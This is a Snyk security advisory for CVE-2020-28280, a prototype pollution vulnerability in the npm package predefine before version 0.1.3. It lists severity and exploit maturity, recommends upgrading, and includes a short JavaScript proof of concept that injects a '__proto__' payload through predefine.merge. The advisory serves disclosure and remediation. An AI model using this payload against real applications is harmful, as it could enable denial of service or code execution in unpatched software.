Prototype Pollution Affecting predefine package, versions >=0.0.0 <0.1.3


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.85% (83rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-PREDEFINE-1054935
  • published30 Dec 2020
  • disclosed30 Dec 2020
  • creditohad2712

Introduced: 30 Dec 2020

CVE-2020-28280  (opens in a new tab)
CWE-1321  (opens in a new tab)

How to fix?

Upgrade predefine to version 0.1.3 or higher.

Overview

predefine is a Predefine your Object.defineProperties to create a more human readable API.

Affected versions of this package are vulnerable to Prototype Pollution. It allows an attacker to cause a denial of service and may lead to remote code execution.

PoC:

const predefine = require('predefine');
predefine.merge({}, JSON.parse('{"__proto__": {"a": "b"}}'));

console.log(({}).a === 'b' ? 'exploitable' : 'unexploitable'); // exploitable

CVSS Scores

version 3.1